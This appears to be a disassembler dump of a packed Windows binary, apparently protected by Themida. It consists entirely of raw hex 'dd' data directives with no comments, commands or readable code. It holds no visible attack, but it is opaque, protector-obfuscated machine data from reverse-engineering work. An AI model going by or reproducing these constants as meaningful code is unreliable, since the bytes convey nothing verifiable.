		dd 95FF06A7h, 7E40E41h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 8C35545h, 0E8D260Bh, 0CE95380h, 0B1000000h
		dd 852A6553h, 28637CD7h, 0B91CD69Ch, 817h, 2FE1BD8Bh, 0E18307E4h
		dd 0B1BD89FCh, 0FC07E418h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0D9C35545h, 9743A5E3h, 0F4F6DF5h, 0A87h
		dd 5E900h, 0A79A0000h, 2B093BBCh, 659D09C0h, 0BA07E424h
		dd 0
		dd 8BD38166h, 0F7EF81E4h, 0AD5BE889h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0F7F4C351h, 0F5D10209h, 6ACD87h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 3EE7BDC3h, 0CBD7FA0Fh, 0DF8494Dh, 88h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0EBC35343h, 6E9C8h
		dd 34E80000h, 0ED6DB31Eh, 71958BF5h, 6A07E41Bh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0E5D1C351h, 52426BA1h, 0BFC4D71Dh, 0CFD8414h, 6830Fh
		dd 0BD290000h, 7E41E6Dh, 2DA18D8Bh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 6E950C3h
		dd 0E5000000h, 52426BA1h, 0C28B501Dh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 638AC350h, 0AB359F5Eh
		dd 89682DBFh, 0E42AE1B5h, 0BD83F907h, 7E40611h,	47840F00h
		dd 80000000h, 0B814C7h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C3B6C352h
		dd 8D09C14Fh, 7E4009Dh,	0DF8166h, 0E78D8D52h, 8B07E44Fh
		dd 0FE1FFDAh, 581h, 0C664BB00h,	0BD836546h, 7E422B9h, 9D840F00h
		dd 0F5000004h, 22B9BD83h, 0F0107E4h, 4AA84h, 71958900h
		dd 0BF07E422h, 1056C278h, 22B9BD83h, 0F0307E4h,	45C86h
		dd 0E9BD2B00h, 6007E401h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 7CC35646h, 0FAADDF57h, 0B1B589EDh, 8107E403h
		dd 7258B8DFh, 0D98C6604h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0D7C35646h, 666610CEh, 860FF88Bh, 6
		dd 14FD9D8Bh, 0E18007E4h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0E6EA6BCh
		dd 4FEF8163h, 0A254F46h, 69840FC9h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 7D09C352h, 0BF7C13A1h, 725B5D67h, 651858Bh, 6A07E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 435427C3h, 4FE380F4h, 6810Fh, 0BD8B0000h, 7E42D19h
		dd 20298533h, 8D0F07E4h, 6, 365BD23h, 0E89007E4h, 0Ch
		dd 0E2399209h, 0F53BC80Ah, 0E9548529h, 5810Fh, 2BB0000h
		dd 5B5268AAh, 0B7525050h, 66310F74h, 585AD98Bh,	6AF98B90h
		dd 79858900h, 0E807E402h, 4, 1F03FFh, 50525060h, 5A310F52h
		dd 0BE310F58h, 24C9953Ch, 8A0F585Ah, 17h, 11E8h, 4180AC00h
		dd 3DDF4A3h, 34C62E36h,	456483ECh, 615E22D8h, 8B49B750h
		dd 66042444h, 8BD88Bh, 840F5250h, 2, 310F73B3h,	585A1AB7h
		dd 4244489h, 9C26F6BFh,	6A5829h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 4A1CDDC3h, 5718D99Ah
		dd 95FF5BF9h, 7E42D99h,	0B66ECF81h, 9D8B574Ch, 7E42DADh
		dd 0F8A58589h, 816607E7h, 0E97427E7h, 1EBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h, 63FE6D2Ah
		dd 0DC440032h, 0F89D858Bh, 6A07E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 751E1EC3h
		dd 1800C74Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6619C357h, 1B53E781h
		dd 0F8A1B58Bh, 0BD3307E7h, 7E40145h, 99858Bh, 6A07E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 689B8C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0E4C35545h, 816645F0h, 8BF586F3h, 0E4065185h, 89DF8B07h
		dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 47BF0DC3h, 5040B2C1h, 14E860h, 0BBCF0000h
		dd 582182C3h, 55413ACFh, 973CE4AAh, 0DBB3EC84h,	4BBE2373h
		dd 5E401300h, 0F56B966h, 24348961h, 15298589h, 8E907E4h
		dd 0DD000000h, 56AED9F8h, 0FF00BD9Fh, 0E7F89DB5h, 0CB816607h
		dd 0FE68CCD3h, 8142413Bh, 38012434h, 6A425Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BBCF7CC3h
		dd 63A3FC94h, 1C1D9D8Bh, 858D07E4h, 7E7F8A5h, 41BD8Bh
		dd 669007E4h, 50FA78BBh, 52A12BFh, 6A9050h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78920EC3h
		dd 0ECBE05B2h, 0CE84Dh,	44C70000h, 0F76E4185h, 4DB61353h
		dd 0B5890186h, 7E415E5h, 9995FF5Fh, 6A07E42Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8B61C355h, 0E426819Dh, 0B4EF8107h, 6138A39Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 80C35040h, 518F4481h
		dd 6CC51EAEh, 10E9h, 0BED05C00h, 0EB44EDF1h, 34E871B5h
		dd 0ED6DB31Eh, 0B985C7A8h, 307E422h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 8693C355h, 0B586B97Fh, 68A0Fh, 85890000h, 7E42019h
		dd 0F8A5BD83h, 0F0007E7h, 1884h, 8E900h, 5E8A0000h, 0EE4AC20h
		dd 21E98F79h, 3000000h,	0E40E459Dh, 0C305007h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0AADB589h, 6A07E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 253057C3h, 0D8B70F40h, 22B9BD83h, 0F0307E4h,	3EB85h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 1B59A143h, 0FB8B14FBh, 0F8A5BD83h, 0F0007E7h
		dd 3BB84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 63A9E86Ch, 0F4191B87h, 9D032C83h
		dd 7E4237Dh, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BD8BAEC3h, 7E42139h
		dd 44D95FFh, 5ABB07E4h,	661055E0h, 8B6503BFh, 0E7F899B5h
		dd 39BD8B07h, 0C707E426h, 1000106h, 6830F00h, 89000000h
		dd 0E41C598Dh, 890F9607h, 5, 4B2DBBBBh,	6A96500Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 353EC351h, 0BF4BD804h, 14E9h, 0CA72A00h, 482A763Fh
		dd 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 0A5B5FF4Ah, 6007E7F8h
		dd 18299D89h, 0AE907E4h, 0E2000000h, 0AA50911Eh, 0B05E9A11h
		dd 95FF61D4h, 7E42A09h,	0F899B58Bh, 8B0F07E7h, 4, 5BD98B52h
		dd 3165858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 17D9C3C3h, 579785EAh, 0BD23B050h
		dd 7E42341h, 0C48689h, 0B5890000h
		dd 7E41E59h, 0EE8h, 565B9700h, 9C471DC2h, 815893C7h, 0F5263EECh
		dd 71958B5Bh, 6A07E41Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1033C350h, 0DBD7CA15h
		dd 8B04C283h, 0E42EC59Dh, 20508907h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 18C35141h, 3065116Fh, 0D3810883h
		dd 5B5FCFCBh, 0CD4858Dh, 868907E8h, 0B8h, 6A26B3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E0C35646h, 0CA9805FCh
		dd 9E2703DCh, 6800Fh, 85010000h, 7E402B9h, 7DF8166h, 0A5B5FF07h
		dd 0F07E7F8h, 95FFDEBFh, 7E431ADh, 5AD2BF66h, 5E996h, 0A06E0000h
		dd 505C206Eh, 0FE8h, 47AB3D00h,	9356CA8Ah, 235FCBF9h, 83D1E884h
		dd 8E8h, 86383700h, 2C348606h, 5BD9B349h, 6A965Fh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 764B01C3h, 8B0BB76Eh, 0E400559Dh, 0A5B5FF07h, 0BF07E7F8h
		dd 4D9F0872h, 1B1195FFh, 9D3107E4h, 7E403B5h, 0DF9BD83h
		dd 0F0007E4h, 2E84h, 80DA8B00h,	6096B2CBh, 6FA3BB66h, 5061D88Bh
		dd 0BE9h, 28764D00h, 2D37FED9h,	72370DB0h, 8D896096h, 7E42C4Dh
		dd 1D958533h, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 4C0E010Ch, 0BD232F7Fh, 7E43021h, 27D95FFh, 6A07E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 8BB5A5C3h, 0FFF94B02h, 0E7F8A5B5h, 1BD2B07h,	0FF07E406h
		dd 0E4097195h, 0B1BD8907h, 8307E401h, 0E40A21BDh, 840F0207h
		dd 65h,	1BA9B589h, 858B07E4h, 7E41EB5h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 5DC35242h, 12096745h
		dd 698D29CAh, 2307E430h, 0E42B71BDh, 0C607h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8CC35545h, 99D897Dh
		dd 907E40Fh, 0E4233985h, 7185C707h, 7E426h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7EA4C352h, 0AE007C86h, 0BD8BAC5Fh, 7E43191h
		dd 0FFF2FFE9h, 0F1BD8BFFh, 8B07E415h, 51006AC1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0D0FA7EB0h, 0A71E008Ch, 0FE9E0h, 29460000h, 25CFC9B0h
		dd 0AD2E7F45h, 0C42C4153h
		db 7Ah
byte_5CCDE5	db 8Dh,	2 dup(85h)	; DATA XREF: Themida_:00583CE8o
		dd 8107E40Dh, 166418EFh, 8A0F9037h, 3, 50D88B66h, 8B90FA8Bh
		dd 0F9B589DAh, 6A07E42Ah, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD03CCAAh
		dd 7E429F5h, 5059529h, 6A07E4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 94C35646h, 9D8B2999h, 7E41D91h
		dd 0ABA7858Dh, 6A07E8h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 514B3AC3h, 6E9D2h, 0C9010000h, 0E6FAF6Eh
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0EE97C355h, 0F8BF0F23h, 860F5290h
		dd 2, 505B73B3h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 27F6C4A8h, 0B3E8465Bh
		dd 6860Fh, 0B5890000h, 7E41B15h, 9D8B006Ah, 7E42B5Dh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 864532C3h, 9529F88Bh, 7E41915h, 247195FFh, 6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 48A1B0C3h, 4F38E649h, 8B96026Ch, 0E41FB9BDh,	4B8D8D07h
		dd 6A07E7D6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0EFE3C353h, 0BF274AA3h, 0D1FF0CC9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4AC35646h
		dd 0E4EFAF4h, 26EB9FBBh, 659D8B60h, 8307E405h, 0E42015BDh
		dd 850F0107h, 86h, 8D9D2960h, 0F07E414h, 686h, 559D8B00h
		dd 6107E416h, 0C381026Ah, 5BD656A9h, 1E1D9D8Bh,	509007E4h
		dd 0F4FB752h, 13E831h, 961B0000h, 2536D869h, 21A966F6h
		dd 0A525EFB5h, 0E07B8D15h, 78BF66DDh, 585A5F88h, 0E769BB50h
		dd 6A906823h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 2DD0C356h, 0DD8F00A3h,	52FB89BCh
		dd 1FF9BD89h, 95FF07E4h, 7E431ADh, 1925BD8Bh, 53E907E4h
		dd 0E800000Dh, 0
		dd 0B1ED815Dh, 0F07E8ABh, 587h,	0D7816600h, 79BF07F2h
		dd 8D43F52Dh, 0E7C6E185h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 569015D6h
		dd 13E8h, 42A76000h, 6787AF36h,	0DF1DCA3Bh, 3507BB53h
		dd 475AC8A3h, 66505F5Fh, 90F94DBBh, 21959589h, 0FF6407E4h
		dd 35h,	25896400h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DBC35343h
		dd 0E35DBF05h, 85FF7DC0h, 7E420B9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0CFC35343h,	810F0162h, 6, 24D8D89h
		dd 0FF6A07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	55C35747h, 550CC57Eh, 0DE8B66D7h, 0B5FFA6B7h, 7E40919h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h
		dd 0A099BD6Eh, 7A4D62E3h, 4D95FFDEh, 0E907E430h, 0FEh
		dd 258D8960h, 8907E400h, 0E420418Dh, 0FE8B6107h, 816600B0h
		dd 0E69797E3h, 0E45B5070h, 0E820F71h, 60000000h, 14A98533h
		dd 853107E4h, 7E40A7Dh,	0F613C61h, 0C583h, 0AD9D8B00h
		dd 0F07E421h, 0D98BC8B6h, 6BAh,	0E19D0300h, 8B07E406h
		dd 0BA6660C1h, 81663ED2h, 610420F0h, 0F04E8C1h,	0F766D8BFh
		dd 0D9BF0FE2h, 0D18BC82Bh, 67C38166h, 5E911h, 81660000h
		dd 8BD42EC3h, 0E4217985h, 3D9D8B07h, 8307E41Eh,	0E85307C0h
		dd 0Fh,	0A04C69C2h, 30C3F1DCh, 0A4F8D291h, 81089A73h, 0C168ECF7h
		dd 835B5F1Dh, 0BF6600C0h, 0D03B74A2h, 11830Fh, 9D8B0000h
		dd 7E4148Dh, 3DE9h, 21958900h, 8B07E424h, 0E409658Dh, 49B58907h
		dd 8B07E427h, 0E403899Dh, 1E18307h, 1C840Fh, 81660000h
		dd 831808E3h, 0E40965A5h, 9589FE07h, 7E42179h, 0E7CB8166h
		dd 0E92Fh, 0B58D0000h, 7E8310Ch, 8E8h, 612CD00h, 0B4619F6Ah
		dd 998589B0h, 5B07E418h, 8589006Ah, 7E43305h, 0E4195FFh
		dd 0CFB907E4h, 6A000008h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 5F38C357h, 0F1BD8936h
		dd 8307E42Eh, 9589FCE1h, 7E404F1h, 0EB8166FCh, 0C02B3DC1h
		dd 29F78166h, 0FD22BE5h, 287h, 0ADFA8B00h, 0E8D1C233h
		dd 0E983D003h, 0FF47504h, 9D89DBBFh, 7E432F5h, 880Dh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8766D12h, 8B96A46Dh,	0E41B7195h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0CDB52942h
		dd 8B07E425h, 0E42DA18Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 1673609Ah
		dd 7B14B8E3h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0C3805818h, 0B7FA8A26h, 11BD83F3h, 7E406h, 70840Fh
		dd 13E80000h, 5F000000h, 2BAB618Ch, 0A40052D7h,	47D786BBh
		dd 6FD9A36h, 11E8D103h,	0DD000000h, 44656D9Bh, 5403DB23h
		dd 42A3677Fh, 0BA2A78DAh, 5B5F6160h, 0B8h, 6E800h, 8BA20000h
		dd 5F45C5C1h, 1FD9D0Bh,	8D5B07E4h, 0E44FE78Dh, 138F0F07h
		dd 0E8000000h, 9, 67D05BC9h, 4015666Ah,	0B8BF66E9h, 0E1FF5B0Eh
		dd 4DC8DB81h, 0BD833036h, 7E422B9h, 29840F00h, 8B000005h
		dd 0B9BD83FBh, 107E422h, 535840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 86BCA4C3h
		dd 0EBE2A092h, 0F0B7D1Bh, 886h,	9D895000h, 7E41CF5h, 0CDBD8B5Fh
		dd 8307E419h, 0E422B9BDh, 860F0307h, 4B9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DAC35040h, 0E35BB2FEh
		dd 0EC588CBFh, 95BD8B1Ah, 6007E41Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0B9C35646h,	1A7B6F82h, 66003DD1h
		dd 0B7DF781h, 0E8D98C66h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B56C2CCh
		dd 0E40EB99Dh, 0E95F5F07h, 12h,	0A0AD3D0Ch, 1C437CB7h
		dd 5DCC62B0h, 991CBA5Ah, 0E1800521h, 12E904h, 0D4B90000h
		dd 93D0E77Fh, 0C8A130B3h, 19973798h, 11D2CE8h, 840FC90Ah
		dd 11Fh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0CBC35141h, 0FBACA562h,	5DCDD457h, 13ED8589h, 858B07E4h
		dd 7E40651h, 1B519D89h,	853307E4h, 7E42029h, 890F50FCh
		dd 4, 5F5F5256h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C79FC352h,	6AB922FCh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B589BF0Bh, 7E40895h, 0B938EC68h, 81D88B03h
		dd 3B132434h, 0BD8903A6h, 7E4272Dh, 2D9995FFh, 816607E4h
		dd 89ED8DEFh, 0E7F8A585h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C1F36F2h
		dd 0BE2A9497h, 0DE8A8EABh, 2A8E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0E0107860h
		dd 0D20DAD18h, 27699D03h, 10E907E4h, 0B4000000h, 0DBC189B2h
		dd 0E2D93419h, 9414536Ah, 8B70B971h, 0E7F89D85h, 81BD8907h
		dd 0C707E421h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 4EA3132Eh, 8D3152D5h
		dd 7E40A85h, 0F8A1B58Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 6E2F1EC3h, 6153435h
		dd 0EFDBD0Bh, 94BB07E4h, 8B168884h, 0E4009985h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89A67370h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0F3CBC1Ah, 0FE8B66A8h, 651858Bh
		dd 8D0F07E4h, 6, 6618D89h, 468907E4h, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 45466EAEh, 8B96D652h, 666050F9h, 0BBB5FFBFh,	6199A86h
		dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 606113C3h, 28E0Fh, 0FE8B0000h, 0F89DB5FFh
		dd 6EBB07E7h, 0E8524930h, 4, 1F03FFh, 52505250h, 13E8h
		dd 7D2C4800h, 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah
		dd 60310F5Bh, 0F585A61h, 14E931h, 0E8520000h, 4FF08E1Fh
		dd 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 585A37D3h, 8A0F6050h
		dd 0
		dd 8E9h, 6CDFD000h, 1B0731B2h, 448B6199h, 74BB0424h, 8B463B3Ch
		dd 0F606000h, 85h, 0F525000h, 61585A31h, 7E8h, 6F14BC00h
		dd 43DB639Dh, 5E8h, 0B0DD3B00h,	5F5E565Dh, 24448961h, 585F5704h
		dd 6890Fh, 0C7810000h, 5CE83AADh, 0F8A5858Dh, 6A07E7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 528007C3h, 26299531h, 0B70F07E4h, 565390DBh,	5FFE8B66h
		dd 5250505Fh, 0EC8BC5BFh, 51310F41h, 0BE9h, 0E4703F00h
		dd 0A2D8C542h, 0CA611DCCh, 90585A5Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 16C35343h, 9995FF75h, 6A07E42Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 98E2C355h, 0BF0FF571h, 6E961FEh, 0E8000000h
		dd 0C32629B4h, 0B985C7FFh, 307E422h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0F2C7C351h, 6A737492h, 28C6CA1Ah, 6E19D89h, 0F6007E4h
		dd 285h, 615F5300h, 0F8A5BD83h,	0F0007E7h, 3084h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D7ED8257h, 0F6FEF381h, 21E928C2h, 8B000000h, 0E40D31BDh
		dd 0C305007h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	22C35242h, 0E381665Ch, 858940A6h, 7E40975h, 22B9BD83h
		dd 0F0307E4h, 3C985h, 0D9BD8B00h, 8307E41Bh, 0E7F8A5BDh
		dd 840F0007h, 3B6h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 11C35040h, 0FF3B5901h, 0E7F8A5B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0A62CE19h, 7775E848h, 9D8B9353h, 7E4321Dh, 0F1C38166h
		dd 4D95FF29h, 8B07E404h, 0E7F899B5h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8A647844h
		dd 46CB81FCh, 0C72FC254h, 1000106h, 0B1BD8B00h,	8907E41Fh
		dd 0E41D2585h, 34895007h, 0A6E38124h, 0FF0191DDh, 0E7F8A5B5h
		dd 9D9D8907h, 0FF07E421h, 0E42A0995h, 0C3816607h, 0B58BD377h
		dd 7E7F899h, 8BD9BF0Fh,	0E4316585h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0E780B6E6h
		dd 0DA8B662Bh, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 1071CDC3h, 6DCC12E3h
		dd 958BB880h, 7E41B71h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0EBC35646h, 1E36B3F9h, 2A359C9Dh, 0F0BE6050h
		dd 66707655h, 6318C781h, 0C2835F61h, 0FAB70F04h, 0F205089h
		dd 382h, 0FBBF0F00h, 0CD4858Dh,	5E807E8h, 0D000000h, 0F3771587h
		dd 0F39BD8Bh, 895F07E4h, 0B886h, 0A5BD2300h, 6A07E42Fh
		dd 1DBD8B00h, 0F07E433h, 0B5FFD8B7h, 7E7F8A5h, 13D18509h
		dd 0BB6607E4h, 95FF6DA9h, 7E431ADh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 1C35343h, 43D38833h, 0AC528BE5h
		dd 0E19D8B7Eh, 9607E42Eh, 6830F50h, 0F000000h, 8Eh, 6A9600h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 892450C3h, 0E42C3985h, 0A5B5FF07h, 5307E7F8h, 12CD8589h
		dd 315F07E4h, 0E424A58Dh, 1195FF07h, 0BF07E41Bh, 42FBC69Ch
		dd 835BEB80h, 0E40DF9BDh, 840F0007h, 63h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0C35343h, 3594E5Fh
		dd 0E42799BDh, 66605007h, 0B7BBEFBBh, 34896157h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 892708E0h, 0E41A79BDh, 59EF8007h, 6E9h, 0EB87F300h
		dd 0FF8CC48Eh, 0E7F8A5B5h, 0F98D2907h, 0FF07E415h, 0E4027D95h
		dd 0CE907h, 0AB860000h,	88696636h, 0A436C9B9h, 0B5FF5DE1h
		dd 7E7F8A5h, 0DDDBD8Bh,	95FF07E4h, 7E40971h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8B5C9112h
		dd 0E40E4D9Dh, 21BD8307h, 207E40Ah, 93840Fh, 0DA8B0000h
		dd 14E9h, 0DA1E3D00h, 0A27FA9ECh, 3862A4F9h, 3EAA478Bh
		dd 4AAB5AD4h, 0B5858BDFh, 6A07E41Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4A92C350h
		dd 0C350A0B0h, 0E8D74DC1h, 0Bh,	372F1D9Ah, 0B92A2124h
		dd 662D05BBh, 0FD14DF81h, 88D0F5Fh, 0F000000h, 284h, 0C69EB300h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0EA5501C3h, 890EE8DBh, 0E427698Dh, 7185C707h
		dd 7E426h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0AB81C356h, 9FE99B0Bh,	6AFFFFF3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DD9EC356h, 89F94A75h, 0E42EB1B5h, 0FC18B07h
		dd 858DFAB7h, 7E40D85h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 26C35343h, 0C455E309h, 90C59C4Dh, 5750DE8Ah
		dd 905FF98Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	0EBC35343h, 9D8BFE31h, 7E425EDh, 8589006Ah, 7E415F1h
		dd 1481BD8Bh, 6A07E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0B6C35343h, 0F5AF94DAh, 858DF275h, 7E8BABBh
		dd 0C083F88Ah, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0DC1F0601h, 0FD9D2B46h
		dd 8907E417h, 0E4050DB5h, 0BB665007h, 489E09Ah,	0FE924h
